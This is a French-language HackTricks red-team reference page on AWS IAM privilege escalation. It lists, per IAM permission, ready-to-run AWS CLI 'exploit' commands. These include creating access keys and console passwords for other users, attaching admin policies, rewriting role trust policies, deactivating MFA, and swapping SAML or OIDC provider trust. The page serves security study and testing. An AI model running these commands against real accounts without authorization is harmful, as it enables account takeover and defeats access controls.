AWS - IAM Privesc

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

IAM

Pour plus d'informations sur IAM, consultez :

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Accorde la possibilité de créer une nouvelle version de politique IAM, contournant la nécessité de la permission iam:SetDefaultPolicyVersion en utilisant le drapeau --set-as-default. Cela permet de définir des permissions personnalisées.

Commande d'exploitation :

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impact : Élévation directe des privilèges en permettant toute action sur n'importe quelle ressource.

iam:SetDefaultPolicyVersion

Permet de changer la version par défaut d'une politique IAM pour une autre version existante, ce qui peut potentiellement élever les privilèges si la nouvelle version a plus de permissions.

Bash Command :

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impact : Escalade de privilèges indirecte en permettant plus de permissions.

iam:CreateAccessKey

Permet de créer un identifiant de clé d'accès et une clé d'accès secrète pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges potentielle.

Exploit :

bash
aws iam create-access-key --user-name <target_user>

Impact : Escalade de privilèges directe en assumant les permissions étendues d'un autre utilisateur.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permet de créer ou de mettre à jour un profil de connexion, y compris la définition de mots de passe pour la connexion à la console AWS, entraînant une escalade de privilèges directe.

Exploitation pour la création :

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploitation pour la mise à jour :

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impact : Escalade de privilèges directe en se connectant en tant que "n'importe quel" utilisateur.

iam:UpdateAccessKey

Permet d'activer une clé d'accès désactivée, ce qui peut entraîner un accès non autorisé si l'attaquant possède la clé désactivée.

Exploit :

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impact : Escalade de privilèges directe en réactivant les clés d'accès.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permet de générer ou de réinitialiser des identifiants pour des services AWS spécifiques (par exemple, CodeCommit, Amazon Keyspaces), en héritant des autorisations de l'utilisateur associé.

Exploitation pour la création :

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploitation pour Réinitialiser :

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impact : Escalade de privilèges directe au sein des permissions de service de l'utilisateur.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permet d'attacher des politiques à des utilisateurs ou des groupes, escaladant directement les privilèges en héritant des permissions de la politique attachée.

Exploitation pour l'utilisateur :

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploitation pour le groupe :

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impact : Escalade de privilèges directe vers tout ce que la politique accorde.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permet d'attacher ou de mettre des politiques à des rôles, utilisateurs ou groupes, permettant une escalade de privilèges directe en accordant des permissions supplémentaires.

Exploitation pour le rôle :

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploitation des politiques en ligne :

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Vous pouvez utiliser une politique comme :

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impact : Escalade de privilèges directe en ajoutant des permissions via des politiques.

iam:AddUserToGroup

Permet de s'ajouter à un groupe IAM, escaladant les privilèges en héritant des permissions du groupe.

Exploit :

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impact : Escalade de privilèges directe au niveau des permissions du groupe.

iam:UpdateAssumeRolePolicy

Permet de modifier le document de politique d'assumption de rôle d'un rôle, permettant l'assumption du rôle et de ses permissions associées.

Exploit :

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impact : Escalade de privilèges directe en assumant les permissions de n'importe quel rôle.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permet de télécharger une clé publique SSH pour s'authentifier à CodeCommit et de désactiver les dispositifs MFA, ce qui peut entraîner une escalade de privilèges indirecte.

Exploitation pour le téléchargement de la clé SSH :

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploitation pour la désactivation de MFA :

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impact : Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.

iam:ResyncMFADevice

Permet la resynchronisation d'un appareil MFA, ce qui peut entraîner une escalade de privilèges indirecte en manipulant la protection MFA.

Bash Command :

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact : Escalade de privilèges indirecte en ajoutant ou en manipulant des dispositifs MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Avec ces permissions, vous pouvez modifier les métadonnées XML de la connexion SAML. Ensuite, vous pourriez abuser de la fédération SAML pour vous connecter avec n'importe quel rôle qui lui fait confiance.

Notez qu'en faisant cela, les utilisateurs légitimes ne pourront pas se connecter. Cependant, vous pourriez obtenir le XML, afin de pouvoir mettre le vôtre, vous connecter et configurer le précédent.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO : Un outil capable de générer les métadonnées SAML et de se connecter avec un rôle spécifié

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Si ce n'est pas sûr) Si un attaquant a ces permissions, il pourrait ajouter une nouvelle empreinte digitale pour réussir à se connecter à tous les rôles faisant confiance au fournisseur.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks